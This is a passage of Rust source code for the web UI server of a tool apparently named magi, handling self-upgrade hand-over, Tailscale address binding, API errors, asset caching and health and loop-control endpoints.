882            std::future::pending::<()>().await;
883        }
884    };
885    let handover = HANDOVER.notified();
886    tokio::select! {
887        joined = &mut served => match joined {
888            Ok(outcome) => outcome.context("serve the web UI"),
889            Err(e) => Err(e).context("the task serving the web UI ended"),
890        },
891        () = interrupted => {
892            tracing::info!("shutting down the web UI");
893            finish_loop(&looping).await;
894            Ok(())
895        }
896        () = handover => {
897            tracing::info!("upgraded - handing this address to the successor");
898            hand_over(&home, &looping, served, spawn_successor).await
899        }
900    }
901}
902
903/// Park the loop, then release the address, then start the successor.
904///
905/// The order is the whole function, and each step is answerable to a failure
906/// this arrangement has already had:
907///
908/// 1. **Park.** The loop was asked to stop by the request that replaced the
909///    binary, and this waits for it, because killing the graph mid-node
910///    leaves worktrees, branches and agent sessions behind and throws away
911///    every agent call already paid for. It takes as long as the node in
912///    flight - up to `timeout_implement`, an hour by default - and the deck
913///    goes on answering for all of it, which is the reason `served` is a task
914///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
915///    first upgrade from a phone that caught a run mid-implement dropped the
916///    listener the moment it was asked to, and the operator got
917///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
918///    waiting on and nothing but a process list to say the run was alive.
919/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
920///    the join resolves only once the task's future has been dropped, so the
921///    address is unbound before the next line rather than merely on its way
922///    there.
923/// 3. **Start the successor**, which binds the address this process has just
924///    let go of - see [`spawn_successor`] for what the other order cost.
925///
926/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
927/// reporting, not part of the design: it exists so `/api/health` can say
928/// "parking, waiting on run X" instead of leaving the phone to guess why the
929/// deck went quiet, and dropping it would not change the order above.
930async fn hand_over(
931    home: &FsPath,
932    looping: &Mutex<LoopState>,
933    served: tokio::task::JoinHandle<std::io::Result<()>>,
934    successor: impl FnOnce() -> Result<()>,
935) -> Result<()> {
936    if let Some(mut progress) = updater::read_progress(home) {
937        progress.advance(updater::Stage::Parking);
938        let _ = updater::write_progress(home, &progress);
939    }
940    finish_loop(looping).await;
941    served.abort();
942    let _ = served.await;
943    if let Some(mut progress) = updater::read_progress(home) {
944        progress.advance(updater::Stage::Restarting);
945        let _ = updater::write_progress(home, &progress);
946    }
947    successor()
948}
949
950/// Ask the loop to stop and wait for it, on the way out of [`serve`].
951///
952/// The wait is the whole function. Returning from `serve` while a graph is
953/// mid-node ends the process with worktrees, branches and agent sessions left
954/// behind and every agent call in that run paid for and thrown away, which is
955/// exactly what the daemon's own shutdown refuses to do.
956async fn finish_loop(state: &Mutex<LoopState>) {
957    let live = lock_or_recover(state).live.take();
958    let Some(live) = live else { return };
959    live.stop.stop();
960    lock_or_recover(state).rev += 1;
961    tracing::info!("waiting for the loop to finish the run in flight");
962    // The task records its own outcome and logs it, so there is nothing to do
963    // with a join error here but stop waiting.
964    let _ = live.handle.await;
965}
966
967/// Resolve `--bind` to an address, plus a warning when the answer is not what
968/// the operator asked for.
969///
970/// Split out from [`serve`] because the interesting half - deciding whether
971/// Tailscale gave us something usable - is testable without opening a socket.
972pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
973    match bind {
974        Bind::Addr(addr) => (*addr, None),
975        Bind::Auto => match tailscale_ip() {
976            Ok(ip) => (IpAddr::V4(ip), None),
977            Err(why) => (
978                IpAddr::V4(Ipv4Addr::LOCALHOST),
979                Some(format!(
980                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
981                     local-only and a phone cannot reach it; start Tailscale \
982                     or pass --bind <addr>"
983                )),
984            ),
985        },
986    }
987}
988
989/// This machine's Tailscale IPv4, or why there is not one.
990///
991/// `tailscale ip -4` is a local call against the running daemon and returns in
992/// milliseconds, so it is fine to make it synchronously before the server
993/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
994/// CGNAT block Tailscale assigns from, and anything else on that output would
995/// be a different tool answering.
996fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
997    let out = std::process::Command::new("tailscale")
998        .args(["ip", "-4"])
999        .quiet()
1000        .output()
1001        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1002    if !out.status.success() {
1003        let why = String::from_utf8_lossy(&out.stderr);
1004        let why = why.trim();
1005        return Err(format!(
1006            "`tailscale ip -4` failed ({}){}",
1007            out.status,
1008            if why.is_empty() {
1009                String::new()
1010            } else {
1011                format!(": {why}")
1012            }
1013        ));
1014    }
1015    String::from_utf8_lossy(&out.stdout)
1016        .lines()
1017        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1018        .find(is_tailnet)
1019        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1020}
1021
1022/// Is this address in the CGNAT block Tailscale hands out from?
1023fn is_tailnet(ip: &Ipv4Addr) -> bool {
1024    let o = ip.octets();
1025    o[0] == 100 && (64..=127).contains(&o[1])
1026}
1027
1028/// What every handler returns. Spelled out because `Result` in this crate is
1029/// `anyhow::Result`, and a handler's error is a status code as much as a
1030/// message.
1031type ApiResult<T> = std::result::Result<T, ApiError>;
1032
1033/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1034#[derive(Debug)]
1035struct ApiError {
1036    status: StatusCode,
1037    message: String,
1038    /// Every separate thing wrong with what the client sent, when there is
1039    /// more than one and the client is expected to fix them all.
1040    ///
1041    /// Only `POST /api/chats/{id}/file` populates it, and it is skipped when
1042    /// empty so every other error body stays exactly the shape the front end
1043    /// already parses. The reason it exists at all is that the operator
1044    /// rejecting a draft is on a phone: a task file with no acceptance
1045    /// criteria and no title is one edit, and reporting it as two round trips
1046    /// means asking an agent to rewrite the draft twice.
1047    problems: Vec<String>,
1048}
1049
1050impl ApiError {
1051    /// The client asked for something malformed.
1052    fn bad_request(message: impl Into<String>) -> Self {
1053        Self {
1054            status: StatusCode::BAD_REQUEST,
1055            message: message.into(),
1056            problems: Vec::new(),
1057        }
1058    }
1059
1060    /// The client asked for something malformed in several ways at once.
1061    fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1062        Self {
1063            problems,
1064            ..Self::bad_request(message)
1065        }
1066    }
1067
1068    /// No such run or task.
1069    fn not_found(message: impl Into<String>) -> Self {
1070        Self {
1071            status: StatusCode::NOT_FOUND,
1072            message: message.into(),
1073            problems: Vec::new(),
1074        }
1075    }
1076
1077    /// Someone else owns the thing the client wants to change.
1078    /// Re-badge an error whose default mapping is wrong for this route.
1079    fn with_status(mut self, status: StatusCode) -> Self {
1080        self.status = status;
1081        self
1082    }
1083
1084    /// A rules violation from a domain type, reported as the caller's fault.
1085    /// `Question::answer` rejects an unoffered choice, and that is a bad
1086    /// request, not a server error.
1087    fn bad_request_from(e: anyhow::Error) -> Self {
1088        Self::bad_request(format!("{e:#}"))
1089    }
1090
1091    fn conflict(message: impl Into<String>) -> Self {
1092        Self {
1093            status: StatusCode::CONFLICT,
1094            message: message.into(),
1095            problems: Vec::new(),
1096        }
1097    }
1098
1099    /// Our fault, or the disk's.
1100    fn internal(message: impl Into<String>) -> Self {
1101        Self {
1102            status: StatusCode::INTERNAL_SERVER_ERROR,
1103            message: message.into(),
1104            problems: Vec::new(),
1105        }
1106    }
1107}
1108
1109impl From<anyhow::Error> for ApiError {
1110    /// Errors from `queue` and `run` carry their context chain, and the whole
1111    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1112    /// value at line 3" is a message an operator can act on, and there is no
1113    /// secret in a path on a single-user tailnet.
1114    fn from(e: anyhow::Error) -> Self {
1115        Self::internal(format!("{e:#}"))
1116    }
1117}
1118
1119impl IntoResponse for ApiError {
1120    fn into_response(self) -> Response {
1121        let mut body = serde_json::json!({ "error": self.message });
1122        if !self.problems.is_empty() {
1123            // `json!` above built an object, so this cannot be `None`.
1124            if let Some(map) = body.as_object_mut() {
1125                map.insert("problems".to_owned(), serde_json::json!(self.problems));
1126            }
1127        }
1128        (self.status, Json(body)).into_response()
1129    }
1130}
1131
1132/// Run a handler's filesystem work off the executor.
1133///
1134/// Every route that touches the disk goes through here rather than each one
1135/// arguing about whether its own read is small enough. Uniform because the
1136/// expensive case is not rare: `run.json` for a finished competition holds
1137/// every judgement, deliberation turn and review round, so listing a few
1138/// hundred runs is megabytes of parsing, and the executor threads doing it are
1139/// the same ones serving the change stream of every other connected phone.
1140async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1141where
1142    T: Send + 'static,
1143{
1144    match tokio::task::spawn_blocking(job).await {
1145        Ok(result) => result,
1146        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1147    }
1148}
1149
1150/// Cache policy for the three compiled-in front-end files.
1151///
1152/// The whole interface is `include_str!`ed into the binary, so its content
1153/// changes only when the binary does - and a phone that keeps a copy is
1154/// welcome to, right up until the deck is replaced. Without a single cache
1155/// header, browsers were free to invent their own policy, and one did:
1156/// yukimemi's phone went on showing "Candidates must be folded before
1157/// deleting. Run `magi fold` first." - a sentence deleted two releases
1158/// earlier - from a run detail served by a deck that no longer contained it.
1159/// The delete button he was told about was right there, and unreachable.
1160///
1161/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1162/// every time, the answer is a 304 costing one small round trip while the
1163/// deck is unchanged, and the moment it is replaced the tag differs and the
1164/// new interface arrives. Correctness over bytes - this is one file of a few
1165/// tens of kilobytes on a tailnet, and being a version behind is not a
1166/// cosmetic problem when the difference is whether a button exists.
1167const ASSET_CACHE: &str = "no-cache, must-revalidate";
1168
1169/// `ETag` for the compiled-in assets, distinct per build.
1170///
1171/// The version alone would leave a locally built deck - `cargo install
1172/// --path .` twice at the same version, which is the normal way to iterate -
1173/// serving a stale tag for changed bytes. The build timestamp is what makes
1174/// two builds of `0.3.0` differ.
1175fn asset_etag() -> &'static str {
1176    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1177        format!(
1178            "\"{}-{}\"",
1179            env!("CARGO_PKG_VERSION"),
1180            // Length is a cheap, deterministic stand-in for a hash: the
1181            // three files are compiled in together, so any edit to any of
1182            // them almost certainly changes the total, and a rebuild is what
1183            // this needs to track rather than every possible byte pattern.
1184            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1185        )
1186    });
1187    &TAG
1188}
1189
1190/// Headers for a compiled-in asset of `mime`.
1191fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1192    [
1193        (header::CONTENT_TYPE, mime),
1194        (header::CACHE_CONTROL, ASSET_CACHE),
1195        (header::ETAG, asset_etag()),
1196    ]
1197}
1198
1199/// Serve a compiled-in asset, answering `304` when the client already has it.
1200///
1201/// axum does not compare `If-None-Match` for us, and a header the server sets
1202/// but never honours is worse than none: the phone revalidates on every load
1203/// and is handed the whole file back each time. Doing the comparison is what
1204/// makes `must-revalidate` cost one small round trip rather than the
1205/// interface.
1206fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1207    let tag = asset_etag();
1208    let known = headers
1209        .get(header::IF_NONE_MATCH)
1210        .and_then(|v| v.to_str().ok())
1211        // A revalidating client may send several, and a proxy may weaken the
1212        // tag to `W/"..."`; matching on containment covers both without
1213        // parsing the grammar.
1214        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1215    if known {
1216        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1217    }
1218    (asset_headers(mime), body).into_response()
1219}
1220
1221async fn index(headers: header::HeaderMap) -> Response {
1222    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1223}
1224
1225async fn app_css(headers: header::HeaderMap) -> Response {
1226    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1227}
1228
1229async fn app_js(headers: header::HeaderMap) -> Response {
1230    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1231}
1232
1233/// What `/api/health` answers.
1234#[derive(Debug, Serialize)]
1235struct HealthView {
1236    version: &'static str,
1237    home: String,
1238    queue_rev: u64,
1239    runs_rev: u64,
1240    /// The same two revisions [`events`] streams for the question and chat
1241    /// stores.
1242    ///
1243    /// Here because this route is what the front end falls back to when the
1244    /// change stream is not up - it re-polls health on a timer and on wake, and
1245    /// takes the revisions from the answer. Without these two the fallback
1246    /// compares `undefined` against `undefined` for both stores, decides
1247    /// nothing moved, and a phone with a dead stream never learns that a
1248    /// question was asked or that an interview took a turn. `queue_rev` and
1249    /// `runs_rev` above have always been here for exactly this reason; the rule
1250    /// is that every revision the stream carries, this route carries too.
1251    questions_rev: u64,
1252    /// See [`HealthView::questions_rev`].
1253    chats_rev: u64,
1254    /// See [`HealthView::questions_rev`]. The standing chat's own store,
1255    /// separate from `chats_rev`: a `/api/talks` reply moving must not be
1256    /// mistaken for a `/api/chats` one, or a phone open on Planning would sit
1257    /// still while a talk it has open gets a reply.
1258    talks_rev: u64,
1259    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1260    /// is not on disk anywhere, so a phone with no change stream has no other
1261    /// way to notice that the loop it is waiting on was started from another
1262    /// device.
1263    loop_rev: u64,
1264    /// Runs on disk whose state this build cannot parse - almost always a
1265    /// schema bump, occasionally a run killed mid-write.
1266    ///
1267    /// Reported because the list silently skips them, and "no competitions
1268    /// yet" is a lie when six of them are sitting in the runs directory. The
1269    /// terminal deck learned the same lesson: a run that fails to parse must
1270    /// not disappear from the count.
1271    runs_unreadable: usize,
1272    /// The disk, and what the runs and their worktrees occupy on it.
1273    ///
1274    /// This is the incident the janitor exists for: magi alone put 30 GB into
1275    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1276    /// is exactly where the operator learns "the disk is the constraint" -
1277    /// the diagnosis that a run is being held for want of space has to be
1278    /// checkable on the same screen.
1279    disk: DiskView,
1280    /// Questions nobody has answered yet.
1281    ///
1282    /// The one number here that means "nothing will happen until a human
1283    /// acts": a parked run consumes nothing and progresses never.
1284    questions_open: usize,
1285    /// Interviews the operator started in the browser and has not filed.
1286    ///
1287    /// Unlike `questions_open` nothing is blocked on these - a chat is the
1288    /// operator's own half-finished thought. It is here because an interview
1289    /// that never became a task is invisible everywhere else: it is not in the
1290    /// queue and it is not in the run history, so without a count the phone
1291    /// has no way to say "you left one open".
1292    chats_open: usize,
1293    daemon: DaemonView,
1294    /// The loop in this process, exactly what `/api/loop` answers with.
1295    ///
1296    /// Here so a phone that has just woken needs one request to know whether
1297    /// anything is going to happen at all: `daemon` says a loop is alive
1298    /// somewhere, and this says whether it is one this UI can stop.
1299    #[serde(rename = "loop")]
1300    looping: LoopView,
1301    /// Whether a release newer than this build is known, and which.
1302    ///
1303    /// From [`updater::Checker::cached_update`] - the same throttled state the
1304    /// CLI's `notify` mode banners from - never a live check: this route is
1305    /// polled every few seconds, and a live check on each poll would spend
1306    /// GitHub's rate limit before the operator finished reading the strip.
1307    update: UpdateView,
1308    /// The self-upgrade this deck last set in motion, or `null` before the
1309    /// first one. Read off disk, so the successor can report what its
1310    /// predecessor started.
1311    upgrade: Option<UpgradeProgressView>,
1312}
1313
1314/// What `/api/health` knows about a release newer than this build.
1315///
1316/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1317/// is already the newest" from "never checked" - both are `None` - and the
1318/// phone needs to tell those apart to decide whether the deck can be trusted
1319/// to have an opinion at all.
1320#[derive(Debug, Serialize)]
1321struct UpdateView {
1322    /// A newer release is known to exist.
1323    available: bool,
1324    /// Its tag, when `available`.
1325    to: Option<String>,
1326}
1327
1328/// [`updater::Progress`] as `/api/health` reports it.
1329#[derive(Debug, Serialize)]
1330struct UpgradeProgressView {
1331    stage: updater::Stage,
1332    from: String,
1333    to: Option<String>,
1334    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1335    /// the step it is finishing before the address is handed over.
1336    waiting_on: Option<String>,
1337    started_at: Timestamp,
1338    updated_at: Timestamp,
1339    detail: Option<String>,
1340}
1341
1342/// [`UpdateView`] from the same throttled, disk-only state
1343/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1344/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1345/// no cached state at all, which is correct: an operator who turned checking
1346/// off gets no opinion, not a stale one.
1347fn cached_update_view(repo: &FsPath) -> UpdateView {
1348    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1349    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1350    match latest {
1351        Some(latest) => UpdateView {
1352            available: true,
1353            to: Some(latest.tag_name),
1354        },
1355        None => UpdateView {
1356            available: false,
1357            to: None,
1358        },
1359    }
1360}
1361
1362/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1363/// from the parked run's own state when the stage is
1364/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1365/// already on disk in `run.json`, so this reads them fresh rather than
1366/// trusting whatever was true the moment the park was requested.
1367fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1368    let waiting_on = (progress.stage == updater::Stage::Parking)
1369        .then_some(progress.parked_run.as_deref())
1370        .flatten()
1371        .and_then(|id| read_run(&ui.runs, id).ok())
1372        .map(|run| {
1373            format!(
1374                "run {} is finishing {} before the address is handed over",
1375                run.short(),
1376                run.status.as_str()
1377            )
1378        });
1379    UpgradeProgressView {
1380        stage: progress.stage,
1381        from: progress.from,
1382        to: progress.to,
1383        waiting_on,
1384        started_at: progress.started_at,
1385        updated_at: progress.updated_at,
1386        detail: progress.detail,
1387    }
1388}
1389
1390/// The disk figures `/api/health` carries. Every number is produced by
1391/// [`crate::disk`], the same code that decides a run may not start, so the
1392/// health screen and the gate cannot disagree about what the machine looks
1393/// like.
1394#[derive(Debug, Serialize)]
1395struct DiskView {
1396    /// Free bytes on the volume holding the runs, when measurable.
1397    #[serde(skip_serializing_if = "Option::is_none")]
1398    free_bytes: Option<u64>,
1399    /// Everything the runs directory occupies, unreadable runs included.
1400    runs_bytes: u64,
1401    /// Everything the runs' worktrees occupy.
1402    worktrees_bytes: u64,
1403    /// The shared build cache's size, when the config names one.
1404    #[serde(skip_serializing_if = "Option::is_none")]
1405    cache_bytes: Option<u64>,
1406}
1407
1408impl DiskView {
1409    /// Measure the three directories and re-read the config's cache.
1410    fn of(ui: &Ui) -> Self {
1411        let cache_bytes = Config::discover(&ui.repo, None)
1412            .ok()
1413            .and_then(|(cfg, _)| cfg.cache_dir())
1414            .map(|dir| crate::disk::dir_size(&dir));
1415        Self {
1416            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1417            runs_bytes: crate::disk::dir_size(&ui.runs),
1418            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1419            cache_bytes,
1420        }
1421    }
1422}
1423
1424/// The daemon's state as the UI presents it.
1425#[derive(Debug, Serialize)]
1426struct DaemonView {
1427    running: bool,
1428    idle: Option<bool>,
1429    pid: Option<u32>,
1430    current: Option<daemon::Current>,
1431    completed: Option<u64>,
1432    stale_for_secs: Option<i64>,
1433}
1434
1435impl DaemonView {
1436    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1437    /// not this UI's — a crashed daemon must not look alive here while
1438    /// `doctor` calls it dead.
1439    fn of(status: Option<daemon::Reading>) -> Self {
1440        let Some(status) = status else {
1441            return Self {
1442                running: false,
1443                idle: None,
1444                pid: None,
1445                current: None,
1446                completed: None,
1447                stale_for_secs: None,
1448            };
1449        };
1450        let now = Timestamp::now();
1451        let age = status.age_secs(now);
1452        Self {
1453            running: status.running(now),
1454            idle: Some(status.idle),
1455            pid: status.pid,
1456            current: status.current,
1457            completed: Some(status.completed),
1458            stale_for_secs: age,
1459        }
1460    }
1461}
1462
1463async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1464    blocking(move || {
1465        // One read of the status file for the two fields that describe it, so
1466        // `daemon` and `loop` in the same answer cannot disagree about who is
1467        // running the loop.
1468        let reading = daemon::read_status(&ui.home);
1469        // Read on its own line, not inside the literal below: the loop's lock
1470        // is not reentrant, and a guard taken as a temporary there would still
1471        // be held when `loop_view` took it again.
1472        let loop_rev = ui.lock_loop().rev;
1473        let update = cached_update_view(&ui.repo);
1474        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1475        Ok(Json(HealthView {
1476            version: env!("CARGO_PKG_VERSION"),
1477            home: ui.home.display().to_string(),
1478            queue_rev: ui.queue.revision(),
1479            runs_rev: runs_revision(&ui.runs),
1480            questions_rev: ui.questions.revision(),
1481            chats_rev: ui.chats.revision(),
1482            talks_rev: ui.talks.revision(),
1483            loop_rev,
1484            runs_unreadable: runs_unreadable(&ui.runs),
1485            questions_open: ui.questions.count_open(),
1486            chats_open: ui.chats.count_open(),
1487            daemon: DaemonView::of(reading.clone()),
1488            looping: ui.loop_view(reading),
1489            disk: DiskView::of(&ui),
1490            update,
1491            upgrade,
1492        }))
1493    })
1494    .await
1495}
1496
1497/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1498#[derive(Debug, Serialize)]
1499struct LoopView {
1500    /// A loop is running in *this* process.
1501    running: bool,
1502    /// It has been asked to stop and is still finishing a run.
1503    ///
1504    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1505    /// because the two differ exactly where it matters: a loop asked to stop
1506    /// while idle is gone within one poll interval, and one asked to stop
1507    /// mid-run keeps going for as long as the graph takes. The operator needs
1508    /// to be told which of those they are waiting for.
1509    stopping: bool,
1510    /// A park was asked for: the run in flight stops at its next node
1511    /// boundary rather than finishing.
1512    ///
1513    /// Separate from `stopping` because the two promise different waits. A
1514    /// stop is "when this competition ends", which can be an hour; a park is
1515    /// "after the step it is on", which is minutes and is what an operator
1516    /// waiting to replace the binary needs to see.
1517    parking: bool,
1518    /// The loop is this process's own.
1519    ///
1520    /// Spelled separately from `running` for the front end's sake, even
1521    /// though inside this process the two move together: `running: false`
1522    /// with `daemon.running: true` is the case where the operator's own `magi
1523    /// serve` owns the loop, and `owned` is the field that tells the UI its
1524    /// buttons have to explain that rather than pretend.
1525    owned: bool,
1526    /// Repository the loop uses for tasks that name none - what it was
1527    /// started with while it runs, and what a start would use before that.
1528    repo: String,
1529    /// Merge mode override in force, or `null` when each repository's own
1530    /// config decides.
1531    merge: Option<String>,
1532    /// Why the last loop in this process ended, when it ended badly.
1533    ///
1534    /// The only place a crashed loop is visible to someone holding a phone.
1535    /// It is logged at error level as well, but a terminal nobody kept open
1536    /// is not a report, and a loop that died at 3am must not read as merely
1537    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1538    /// answers the same question about the same kind of failure.
1539    last_error: Option<String>,
1540    /// The status file, judged the same way `/api/health` judges it: this is
1541    /// what says whether a loop is alive in some *other* process.
1542    daemon: DaemonView,
1543}
1544
1545/// A loop another process already owns.
1546///
1547/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1548/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1549/// published by a pid that is not ours. Excluding our own pid is what makes
1550/// stopping work at all - the loop this process runs writes that file too, so
1551/// a check that ignored the pid would decide the operator's own UI was a
1552/// stranger and refuse to stop the loop it had just started.
1553#[derive(Debug, Clone, Copy)]
1554struct Foreign {
1555    /// The pid the other process published, when it published one.
1556    pid: Option<u32>,
1557}
1558
1559impl Foreign {
1560    /// Another process's live loop, or `None` when this process is free to
1561    /// run one.
1562    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1563        let reading = reading?;
1564        if !reading.running(Timestamp::now()) {
1565            return None;
1566        }
1567        match reading.pid {
1568            Some(pid) if pid == std::process::id() => None,
1569            // A fresh heartbeat with no pid in it is still evidence of a live
1570            // daemon. "Some other process" is the honest answer, and refusing
1571            // to start beside it is the safe one.
1572            pid => Some(Self { pid }),
1573        }
1574    }
1575
1576    /// How a conflict names it. The pid is the whole point of the message: it
1577    /// is what the operator needs to find the terminal that owns the loop.
1578    fn who(&self) -> String {
1579        match self.pid {
1580            Some(pid) => format!("another magi process (pid {pid})"),
1581            None => "another magi process".to_owned(),
1582        }
1583    }
1584}
1585
1586/// How a loop is started, as a future this module can hold onto.
1587///
1588/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1589/// trait object or a hand-written `Debug` impl for the sake of one seam.
1590type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1591
1592/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1593fn launch_daemon(
1594    opts: daemon::Opts,
1595    stop: daemon::Stop,
1596) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1597    Box::pin(daemon::serve_until(opts, stop))
1598}
1599
1600/// The loop this process runs, behind one lock.
1601#[derive(Debug, Default)]
1602struct LoopState {
1603    /// The loop, while there is one.
1604    live: Option<Live>,
1605    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1606    ///
1607    /// The loop is in-process state rather than a file, so nothing on disk
1608    /// would tell a second phone that the first one started it. Without this
1609    /// counter the only way to learn about a start, a stop request or a crash
1610    /// would be to poll `/api/loop`, which is the thing the change stream
1611    /// exists to avoid on a mobile link.
1612    rev: u64,
1613    /// Why the last loop ended, when it ended badly. See
1614    /// [`LoopView::last_error`].
1615    last_error: Option<String>,
1616}
1617
1618/// A loop in flight.
1619#[derive(Debug)]
1620struct Live {
1621    /// The cooperative stop, shared with the loop task.
1622    stop: daemon::Stop,
1623    /// The task itself, kept only to answer whether it is still there: a loop
1624    /// that panicked never records its own end, and without this the view
1625    /// would go on reporting a loop that no longer exists - the one lie that
1626    /// would leave the operator with no button to press.
1627    handle: tokio::task::JoinHandle<()>,
1628    /// What the loop was started with, so the view reports the repository and
1629    /// merge mode its runs will actually use rather than what an edit to the
1630    /// config since would give.
1631    opts: daemon::Opts,
1632}
1633
1634impl Live {
1635    /// Is the task still there? See [`Live::handle`].
1636    fn alive(&self) -> bool {
1637        !self.handle.is_finished()
1638    }
1639}
1640
1641/// Take the loop lock, recovering from a poisoned one.
1642///
1643/// What this mutex holds is a stop flag, a task handle and two counters, none
1644/// of which a panic elsewhere can leave in a state worth refusing to read.
1645/// Propagating the poison instead would mean an operator who can see the loop
1646/// running and can no longer stop it from the only surface they have.
1647fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1648    state.lock().unwrap_or_else(PoisonError::into_inner)
1649}
1650
1651/// `GET /api/loop`.
1652async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1653    blocking(move || {
1654        let reading = daemon::read_status(&ui.home);
1655        Ok(Json(ui.loop_view(reading)))
1656    })
1657    .await
1658}
1659
1660/// The body of `POST /api/loop`.
1661///
1662/// One required field and nothing else: no `default` and no unknown fields,
1663/// so a body that fails to say which way the switch was flipped is a 400
1664/// rather than a tap that quietly does the opposite of what was pressed.
1665#[derive(Debug, Deserialize)]
1666#[serde(deny_unknown_fields)]
1667struct LoopCommand {
1668    running: bool,
1669    /// Stop the run in flight at its next node boundary rather than letting it
1670    /// finish.
1671    ///
1672    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1673    /// competition is tens of minutes of paid work and finishing it is
1674    /// normally the cheapest thing to do. A park is for the operator who
1675    /// wants the process gone now - to replace the binary, most of all - and
1676    /// it costs at most the node in progress because every node writes its
1677    /// state before the next one starts.
1678    #[serde(default)]
1679    park: bool,
1680}
1681
1682/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1683///
1684/// Answers with the view rather than waiting for the loop to reach the state
1685/// that was asked for. Starting is immediate anyway; stopping is not, and the
1686/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1687/// request open for. `stopping` in the answer is what the operator watches
1688/// instead.
1689async fn loop_post(
1690    State(ui): State<Arc<Ui>>,
1691    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1692) -> ApiResult<Json<LoopView>> {
1693    // Taken as a `Result` so a malformed body is a 400 like every other route
1694    // here, rather than axum's default 422 that the UI has no branch for.
1695    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1696    blocking(move || {
1697        let reading = daemon::read_status(&ui.home);
1698        let foreign = Foreign::of(reading.as_ref());
1699        if body.running {
1700            ui.start_loop(foreign)?;
1701        } else {
1702            ui.stop_loop(foreign, body.park)?;
1703        }
1704        Ok(Json(ui.loop_view(reading)))
1705    })
1706    .await
1707}
1708
1709/// What `POST /api/upgrade` set in motion.
1710#[derive(Debug, Serialize)]
1711struct UpgradeView {
1712    /// The version this process is running.
1713    from: String,
1714    /// The release it is replacing itself with, when there is one.
1715    to: Option<String>,
1716    /// A run was parked first, and this is its id.
1717    parked: Option<String>,
1718    /// What the operator should expect to happen next.
1719    detail: String,
1720}
1721
1722/// `POST /api/upgrade` - replace this binary with the newest release and come
1723/// back on it.
1724///
1725/// The one thing the deck could not do for itself. Every fix landed today
1726/// either waited for a competition to end or went in with the deck stopped,
1727/// because `cargo install` cannot overwrite a running executable on Windows.
1728/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1729/// the new one in its place, so the swap itself needs no downtime. Only the
1730/// restart does, and the order is the whole design:
1731///
1732/// 1. **Park.** A run in flight stops at its next node boundary and stays
1733///    resumable, so this costs at most the node in progress rather than the
1734///    competition. Without it the honest choices were waiting an hour or
1735///    discarding paid agent work.
1736/// 2. **Replace.** The new binary goes into place while this one still runs.
1737/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1738///    successor - see [`spawn_successor`] for what happens in the other
1739///    order.
1740/// 4. **Resume.** The next loop carries the parked run on rather than
1741///    competing again; see `daemon::attempt`.
1742///
1743/// Answers **202**: the reply has to reach the phone while this process can
1744/// still send one, and the phone learns the deck is back by reconnecting.
1745async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1746    let reading = daemon::read_status(&ui.home);
